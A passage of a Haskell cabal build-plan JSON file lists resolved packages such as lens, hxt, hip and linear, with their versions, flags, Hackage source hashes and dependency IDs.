5c412656d372db8a38f9c955e43ac38","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","pkg-name":"hashable","pkg-version":"1.4.0.2","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","bytestring-0.10.12.1","containers-0.6.4.1","deepseq-1.4.5.0","ghc-bignum-1.1","ghc-prim-0.7.0","text-1.2.5.0"]},{"type":"configured","id":"hinotify-0.4.1-2829c837705b524260e243b1d884078397c48a7d68026cb8b85c6ae5c861c7b9","pkg-name":"hinotify","pkg-version":"0.4.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"88b8934da67b526df25b1b00d57621ed0570989ad35e73b99883c80a6503990c","pkg-src-sha256":"1307b100aeaf35d0d0f582d4897fac9cde39505ec52c915e213118e56674f81a","depends":["async-2.2.4-A0B9IOxHH19KB8pu15mnoQ","base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1","unix-2.7.2.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"hip-1.5.6.0-56ce6be66bbf16fd2a0d0ec0f57ed236637dd902e02bd285ee39251a4086f5e8","pkg-name":"hip","pkg-version":"1.5.6.0","flags":{"disable-chart":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"296c55622f62485422c0a593c7306af1a5abf8ba9f866dcdffc281b01eba65d7","pkg-src-sha256":"b082c253bb8c2ce276b00dcca1c7ebe23bf79d0a70b7b1290c03f5d462665f88","depends":["Chart-1.9.4-dd2b9b56a13775e60f882b68144ff794746def945c678c3c97fd47efb1b18131","Chart-diagrams-1.9.4-9a0b9245a1776df27da1832a1fa5fe8db816568b58ea01847a69339fb8590eb9","JuicyPixels-3.3.7-a5c237df0e1083994c81f4fbaa09492beaab6842d17b00f1b3f927788ef440af","array-0.5.4.0","base-4.15.1.0","bytestring-0.10.12.1","colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3","deepseq-1.4.5.0","directory-1.3.6.2","filepath-1.4.2.1","netpbm-1.0.4-87610204e0abd6a70ff8ab98467ade05c713a971b59d413d592c4c2ae661d7c2","primitive-0.7.4.0-8109c647604a472f651eac4b614f36309780a3c112e805df47f70492d7e27c97","process-1.6.13.2","random-1.2.1.1-CPzrEs7ZPWa61oDCTMsEJ2","repa-3.4.1.5-ff327caeb7dbbba0f2a88b0f7fb8028b1cd06cd9882b338253048f26238c4712","temporary-1.3-0883bf76b87b5c9b36154a553accd9894dd6c1d710ef73e8ec48e015396e4c07","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"hxt-9.3.1.22-c417e9560aeb3a6c9a7a44c346ac3aa80f4959abeb529a27dd4f83b08ef534ae","pkg-name":"hxt","pkg-version":"9.3.1.22","flags":{"network-uri":false,"profile":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"2d9b2ddda1bf8b1697a9443560a81991663cd8b73ebea4a8106ad025c1151704","pkg-src-sha256":"ef602fe674225527750574dd555dbdf402ab77d054af75d41ca21b42dbb23ad9","depends":["base-4.15.1.0","binary-0.8.8.0","bytestring-0.10.12.1","containers-0.6.4.1","deepseq-1.4.5.0","directory-1.3.6.2","filepath-1.4.2.1","hxt-charproperties-9.5.0.0-5c8fe1afe815a9f17a85b13209d8f16e97a47fd2015592de87073f2207708d8d","hxt-regex-xmlschema-9.2.0.7-fac8d5f9b414049c1675242e280c5a50242bb745b5e8b0dc92adf0fd7e939bfd","hxt-unicode-9.0.2.4-be6107f3fdf53db169ae7c29b10e4e5c748be8a2d9abc686ef388286cf769470","mtl-2.2.2","network-uri-2.6.4.1-63b1khi2w6s6RXlPi9KnXX","parsec-3.1.14.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"hxt-charproperties-9.5.0.0-5c8fe1afe815a9f17a85b13209d8f16e97a47fd2015592de87073f2207708d8d","pkg-name":"hxt-charproperties","pkg-version":"9.5.0.0","flags":{"profile":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"99802289a01d3efbb0f088b9f5072a12a83730fd7f955dc5158f34a5b57f6ef0","pkg-src-sha256":"28836949512a2aedb63b2a02e0b05a4f519dc3511cfd259804a6e9d59a44a94a","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"hxt-regex-xmlschema-9.2.0.7-fac8d5f9b414049c1675242e280c5a50242bb745b5e8b0dc92adf0fd7e939bfd","pkg-name":"hxt-regex-xmlschema","pkg-version":"9.2.0.7","flags":{"profile":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"26f1a403eaca48e7704e97aa1e0b2629fcbbeff06e232790668e28c0af582b7e","pkg-src-sha256":"b9b6bcfc7d8c5e9a0be87dc56b13a237a51ca2c19c6665a51378a9538b71d97a","depends":["base-4.15.1.0","bytestring-0.10.12.1","hxt-charproperties-9.5.0.0-5c8fe1afe815a9f17a85b13209d8f16e97a47fd2015592de87073f2207708d8d","parsec-3.1.14.0","text-1.2.5.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"hxt-unicode-9.0.2.4-be6107f3fdf53db169ae7c29b10e4e5c748be8a2d9abc686ef388286cf769470","pkg-name":"hxt-unicode","pkg-version":"9.0.2.4","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"a9266888ae2bb81a59a59c07dfb78df5f11dc9c4866b48d7ae1b5d712567187c","pkg-src-sha256":"7b5823f3bd94b57022d9d84ab3555303653c5121eaaef2ee1fd4918f3c434466","components":{"lib":{"depends":["base-4.15.1.0","hxt-charproperties-9.5.0.0-5c8fe1afe815a9f17a85b13209d8f16e97a47fd2015592de87073f2207708d8d"],"exe-depends":[]}}},{"type":"configured","id":"indexed-traversable-0.1.2-45d0103477b987419991072b7679a66d60c27dd7980aee65dc63cdd09bb6cdbf","pkg-name":"indexed-traversable","pkg-version":"0.1.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"d66228887242f93ccb4fc7101a1e25a6560c8e4708f6e9ee1d3dd21901756c65","pkg-src-sha256":"516858ee7198b1fed1b93c665157f9855fd947379db7f115d48c1b0d670e698d","depends":["array-0.5.4.0","base-4.15.1.0","containers-0.6.4.1","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"indexed-traversable-instances-0.1.1-1ab4395849b86df56b3472adbf6a8fc2ece9496abf634ec31b2e916f09e87eca","pkg-name":"indexed-traversable-instances","pkg-version":"0.1.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"8b3f359bf1ffb73ab2a3327a6985b3587ae38f6b8f7705dccd724e118e63a598","pkg-src-sha256":"100ed1023b541328b04bcec0964b9f9d5fc93285fc23a2ac6873bf8597439a44","depends":["OneTuple-0.3.1-bedfbe43cff87581695b5bda99330da262512b173ba10314cc3cf33f165dfc41","base-4.15.1.0","indexed-traversable-0.1.2-45d0103477b987419991072b7679a66d60c27dd7980aee65dc63cdd09bb6cdbf","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"integer-logarithms-1.0.3.1-1b550db91d31a16ebe43ba189981b5d24942c4df0325cc1127cb70e81a0e927e","pkg-name":"integer-logarithms","pkg-version":"1.0.3.1","flags":{"check-bounds":false,"integer-gmp":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"b65e11ec6f4b29c5278716da0544b951a49ab5310608df0fc41eec29f15691d9","pkg-src-sha256":"9b0a9f9fab609b15cd015865721fb05f744a1bc77ae92fd133872de528bbea7f","depends":["array-0.5.4.0","base-4.15.1.0","ghc-bignum-1.1","ghc-prim-0.7.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"intervals-0.9.2-0ebb0101fd1b1351d02360f460b3e306f79d6c26936301a1b775e911d92bde2f","pkg-name":"intervals","pkg-version":"0.9.2","flags":{"herbie":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"c689195931b743141d21ec464dbfe2848fe9dbd97fa2ae4bc667ecdf7756721f","pkg-src-sha256":"9b421de662873e65e90380b9c5a0c7497afa581b3e0e65530f8653a4fddb2be2","depends":["array-0.5.4.0","base-4.15.1.0","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","ghc-prim-0.7.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"invariant-0.6-19f1cf9d855ac5283d73fb3015a9f4b0fbcbab80708dede295bfe7912e2e7a14","pkg-name":"invariant","pkg-version":"0.6","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"1193c311e5c087406cda2a30b4f497763c597985e3756a4cdd553e98669bd86c","pkg-src-sha256":"b52b2a798c514e2f3bb37d9d629078f433745fa8a25756198c4d33751d7bce1d","depends":["StateVar-1.2.2-6fb8e3fe1c21d756037880811c58d69e1723de1b9536d1ab890e3be1cc9ab658","array-0.5.4.0","base-4.15.1.0","bifunctors-5.5.12-7c584e3a7f0c7328e082f3dd528b5b646148aafbdaad09f2c85ab58a91713cba","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","ghc-prim-0.7.0","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","stm-2.5.0.0","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","template-haskell-2.17.0.0","th-abstraction-0.4.3.0-e1af16dd912ebdc84cc756ca3fa78e718e858a45c47e8ec2c24fb882d8aa700a","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"kan-extensions-5.2.5-aa3bfb5e2ee71e8a8531468abb036ca08f3f45cf20493f8f9219a360fde47b92","pkg-name":"kan-extensions","pkg-version":"5.2.5","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"6c67ff1ee6426461175619c350e99c189ded30490f795b8327d3a2275f0c551d","pkg-src-sha256":"b914dccc040caf1d8764b99df1028dad3e4fdf46c262192e54b59c9da66ead22","depends":["adjunctions-4.4.1-169108ba8ea78b83740bd52f3a50976061822283de424559fe9868e038845afb","array-0.5.4.0","base-4.15.1.0","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","free-5.1.9-17c49e811675efb729577964f62c0a87ea00de4540d9c71566f660bcb6450614","invariant-0.6-19f1cf9d855ac5283d73fb3015a9f4b0fbcbab80708dede295bfe7912e2e7a14","mtl-2.2.2","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","pkg-name":"lens","pkg-version":"5.1.1","flags":{"benchmark-uniplate":false,"dump-splices":false,"inlining":true,"j":false,"test-hunit":true,"test-properties":true,"test-templates":true,"trustworthy":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"c633a481e69bf911d9a6ed11ef156809db8b1d7c7d296fd03249b93be399e3a7","pkg-src-sha256":"cc4e99fc5d989e98ab0df7577183fe9ad5d74c63a44dc2607abcc22daba8b322","depends":["array-0.5.4.0","assoc-1.0.2-309ba93d3ac9e4dbd49097224b727c34adc2d7f47537b0835a6b626827e18c86","base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","bifunctors-5.5.12-7c584e3a7f0c7328e082f3dd528b5b646148aafbdaad09f2c85ab58a91713cba","bytestring-0.10.12.1","call-stack-0.4.0-2754d1fc8c02e2d7424cb281c1df2e07eb2ce19126bd775421ab1c8318263870","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","exceptions-0.10.4","filepath-1.4.2.1","free-5.1.9-17c49e811675efb729577964f62c0a87ea00de4540d9c71566f660bcb6450614","ghc-prim-0.7.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","indexed-traversable-0.1.2-45d0103477b987419991072b7679a66d60c27dd7980aee65dc63cdd09bb6cdbf","indexed-traversable-instances-0.1.1-1ab4395849b86df56b3472adbf6a8fc2ece9496abf634ec31b2e916f09e87eca","kan-extensions-5.2.5-aa3bfb5e2ee71e8a8531468abb036ca08f3f45cf20493f8f9219a360fde47b92","mtl-2.2.2","parallel-3.2.2.0-aad8b2c65d4145186d3df4142dae8916e92ef78725b8e5d26761fadd0bd39ae6","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","reflection-2.1.6-9dff637dc518b2bfcd232fff914b0ce80c0a5cfd6b4a62239b4fe4d783aabff2","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","strict-0.4.0.1-b86d13e63cbf01a0ee564ee32074d67ec0db260cfb8454d63df9ce49f00bf2a6","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","template-haskell-2.17.0.0","text-1.2.5.0","th-abstraction-0.4.3.0-e1af16dd912ebdc84cc756ca3fa78e718e858a45c47e8ec2c24fb882d8aa700a","these-1.1.1.1-68728e2fb92b1729b7e02ff34e3689118d36af5c86965be3c37e60c9dc82021b","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"lifted-async-0.10.2.2-aaf796a4d768a035bf9916b5695be98f313489a3a1809c0bf41c102364f526bf","pkg-name":"lifted-async","pkg-version":"0.10.2.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"7fa02000931faaee85723ada9bcb1c7773cfcea740113f62ea60c0bd84f9dfcf","pkg-src-sha256":"50e8a699c8c74f8b39cd0e1c8559d083062e9dac3d20afcacba36f30b3dba7de","depends":["async-2.2.4-A0B9IOxHH19KB8pu15mnoQ","base-4.15.1.0","constraints-0.13.4-b5eadba3cfe7b7b6401f0c701ae8891de4d4d3434ed0d1dde1a2eac524ba82a2","lifted-base-0.2.3.12-f27f5eecc760699fd52b3978e4a7c1a0a1b64ce04aa11358bffdce62767b3943","monad-control-1.0.3.1-f71f0261e6deeecf9df6a63bc48c7a42418c9b3b6af61087ae4e2d20822c633d","transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"lifted-base-0.2.3.12-f27f5eecc760699fd52b3978e4a7c1a0a1b64ce04aa11358bffdce62767b3943","pkg-name":"lifted-base","pkg-version":"0.2.3.12","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"e94ad0692c9c5d85c373e508f23654f2da8ac8c3e475c2b65ffbc04fb165ad69","pkg-src-sha256":"c134a95f56750aae806e38957bb03c59627cda16034af9e00a02b699474317c5","depends":["base-4.15.1.0","monad-control-1.0.3.1-f71f0261e6deeecf9df6a63bc48c7a42418c9b3b6af61087ae4e2d20822c633d","transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"linear-1.21.10-331b74892e25b715420abb457877019e925b0ddd108891b8e46b918ef1d74084","pkg-name":"linear","pkg-version":"1.21.10","flags":{"herbie":false,"template-haskell":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"fb5253a777ef045c42de576625a5aab8dd6e10f9ba1a4cab9eb626296975e754","pkg-src-sha256":"b90733227c9d4047e087a0083785e8293dc623169161c6dab12ece1ac90d7ab4","depends":["adjunctions-4.4.1-169108ba8ea78b83740bd52f3a50976061822283de424559fe9868e038845afb","base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","binary-0.8.8.0","bytes-0.17.2-373c0eace1ef0eb1f36e44c8cc31bee1c52cc73fbed588f775b80b947e06d8aa","cereal-0.5.8.2-2e9695239b8acfad54eb386fcd52a09552867c8ff099372b21f215e1e86482ce","containers-0.6.4.1","deepseq-1.4.5.0","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","ghc-prim-0.7.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","indexed-traversable-0.1.2-45d0103477b987419991072b7679a66d60c27dd7980aee65dc63cdd09bb6cdbf","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","random-1.2.1.1-CPzrEs7ZPWa61oDCTMsEJ2","reflection-2.1.6-9dff637dc518b2bfcd232fff914b0ce80c0a5cfd6b4a62239b4fe4d783aabff2","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","template-haskell-2.17.0.0","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467","void-0.7.3-d0967a49800328fce1d858db813ade1412d4c38fa5544448d623a8b276a2ebd6"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"monad-control-1.0.3.1-f71f0261e6deeecf9df6a63bc48c7a42418c9b3b6af61087ae4e2d20822c633d","pkg-name":"monad-control","pkg-version":"1.0.3.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"2d657279839e1a760c86a69f00f0c36473ef6972d413ec0f83a40249c70e098e","pkg-src-sha256":"ae0baea04d99375ef788140367179994a7178d400a8ce0d9026846546772713c","depends":["base-4.15.1.0","stm-2.5.0.0","transformers-0.5.6.2","transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"monoid-extras-0.6.1-7b5c7bdc23422b91d87aed483fde829502f8f03939d39fd2019bb377553c55ac","pkg-name":"monoid-extras","pkg-version":"0.6.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"294eaeb51e0d047500119131f133bc4a7988f330baa4bb20256995aae3385b33","pkg-src-sha256":"4e9a3240015c61b3ab26489f1d53b7b3a6aa40c2afbd9def0db9d2d495cb45da","depends":["base-4.15.1.0","groups-0.5.3-dca909de6ef00eacfba14cdc612e542f2328c8c528573015e7e648a4f26dee5a","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"mtl-2.2.2","pkg-name":"mtl","pkg-version":"2.2.2","depends":["base-4.15.1.0","transformers-0.5.6.2"]},{"type":"configured","id":"netpbm-1.0.4-87610204e0abd6a70ff8ab98467ade05c713a971b59d413d592c4c2ae661d7c2","pkg-name":"netpbm","pkg-version":"1.0.4","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"f45515c6da38aedceb2b78dd32d74b23f3fbb84914c81efe5926d9f37430be64","pkg-src-sha256":"d7208ba271ab1d4ce87426e6fea23d392cca10a4c75297cdcec39180c998481c","depends":["attoparsec-0.14.4-a9da3b47625a505851414ac219634dac35c5e6c484edf9891077536c4507cf98","attoparsec-binary-0.2-6c311c5a5f0d37e2fb272e96af82992f7f8e5f7389c0d3aae51c4e8a5e6d8c99","base-4.15.1.0","bytestring-0.10.12.1","storable-record-0.0.6-aaf015e4caee8284c1e98b00aceb1706724a1c0102431ab4c540ea883a6b77ef","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467","vector-th-unbox-0.2.2-01f3896095cd27e538dcabee4788867e9639ad5674fb3c94d372470f32543d73"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"network-uri-2.6.4.1-63b1khi2w6s6RXlPi9KnXX","pkg-name":"network-uri","pkg-version":"2.6.4.1","depends":["base-4.15.1.0","deepseq-1.4.5.0","parsec-3.1.14.0","template-haskell-2.17.0.0","th-compat-0.1.3-5jmolJLjGjjKeBpoWp7NTH"]},{"type":"configured","id":"newtype-generics-0.6.2-8ba5db1c460d764148348a66a0886b99d7650f3c1e8beab933deec9ec8e0c27f","pkg-name":"newtype-generics","pkg-version":"0.6.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"1e6a6480bfd742fd9bd0d18e27c6457ae014ef36f60c6a8fee73463fb6141e1a","pkg-src-sha256":"a1ac6052020a09f1bc5000a141d2edd4b31a82f95ce5957b7eedad40c065a74e","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"old-locale-1.0.0.7-e436e23b3e2659202b3679b3ecbbf704d1932dfadc0daa0a9a10d4b17aad1510","pkg-name":"old-locale","pkg-version":"1.0.0.7","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"fa998be2c7e00cd26a6e9075bea790caaf3932caa3e9497ad69bc20380dd6911","pkg-src-sha256":"dbaf8bf6b888fb98845705079296a23c3f40ee2f449df7312f7f7f1de18d7b50","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"operational-0.2.4.1-8ce090eb959a4ce9e4a3b9c61294437c4b2015d0bf767c73c384e42e818e171f","pkg-name":"operational","pkg-version":"0.2.4.1","flags":{"buildexamples":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"beb71a58ae6c2d7db284d5da1fe03793189d122f44281cc301eb2bfa6ce7c5b5","pkg-src-sha256":"4261367dc563d5d954f9f38071be70fe4f2dae8a6ec6013ad00bce5d7dbf4129","depends":["base-4.15.1.0","mtl-2.2.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"operational-0.2.4.1-e-operational-TicTacToe-cf8f1c4d1445954dfc2f12775e9d1f2f823602e43a218985a172897f27664289","pkg-name":"operational","pkg-version":"0.2.4.1","flags":{"buildexamples":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"beb71a58ae6c2d7db284d5da1fe03793189d122f44281cc301eb2bfa6ce7c5b5","pkg-src-sha256":"4261367dc563d5d954f9f38071be70fe4f2dae8a6ec6013ad00bce5d7dbf4129","depends":["base-4.15.1.0","mtl-2.2.2","operational-0.2.4.1-8ce090eb959a4ce9e4a3b9c61294437c4b2015d0bf767c73c384e42e818e171f","random-1.2.1.1-CPzrEs7ZPWa61oDCTMsEJ2"],"exe-depends":[],"component-name":"exe:operational-TicTacToe","bin-file":"/home/nico/.cabal/store/ghc-9.0.2/operational-0.2.4.1-e-operational-TicTacToe-cf8f1c4d1445954dfc2f12775e9d1f2f823602e43a218985a172897f27664289/bin/operational-TicTacToe"},{"type":"configured","id":"optparse-applicative-0.17.0.0-b24ecbabf2208de5ad0781e3d7841158c037cebd00f317df9ae9e1c097134f84","pkg-name":"optparse-applicative","pkg-version":"0.17.0.0","flags":{"process":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"0713e54cbb341e5cae979e2ac441eb3a5ff42e303001f432bd58c19e5638bdda","pkg-src-sha256":"825b2e4d3dafe0ba64a073366a88062b3712b81f851793d9ce2327bee70af724","depends":["ansi-wl-pprint-0.6.9-99da908d2e8ea9e9d2eda7cd4dce75fafe66291d81b821c4e0772aeba497fd7e","base-4.15.1.0","process-1.6.13.2","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"parallel-3.2.2.0-aad8b2c65d4145186d3df4142dae8916e92ef78725b8e5d26761fadd0bd39ae6","pkg-name":"parallel","pkg-version":"3.2.2.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"19ff631f3a26ee7cf0603e2b80fc375d77d3f350ae460ae72fe4cf5da665c90b","pkg-src-sha256":"170453a71a2a8b31cca63125533f7771d7debeb639700bdabdd779c34d8a6ef6","depends":["array-0.5.4.0","base-4.15.1.0","containers-0.6.4.1","deepseq-1.4.5.0","ghc-prim-0.7.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"parsec-3.1.14.0","pkg-name":"parsec","pkg-version":"3.1.14.0","depends":["base-4.15.1.0","bytestring-0.10.12.1","mtl-2.2.2","text-1.2.5.0"]},{"type":"pre-existing","id":"pretty-1.1.3.6","pkg-name":"pretty","pkg-version":"1.1.3.6","depends":["base-4.15.1.0","deepseq-1.4.5.0","ghc-prim-0.7.0"]},{"type":"configured","id":"primitive-0.7.4.0-8109c647604a472f651eac4b614f36309780a3c112e805df47f70492d7e27c97","pkg-name":"primitive","pkg-version":"0.7.4.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"89b88a3e08493b7727fa4089b0692bfbdf7e1e666ef54635f458644eb8358764","pkg-src-sha256":"5b2d6dc2812eb2f6a115f05fcbe3e723d3aeff7894b012c617e075130581add5","depends":["base-4.15.1.0","deepseq-1.4.5.0","template-haskell-2.17.0.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"process-1.6.13.2","pkg-name":"process","pkg-version":"1.6.13.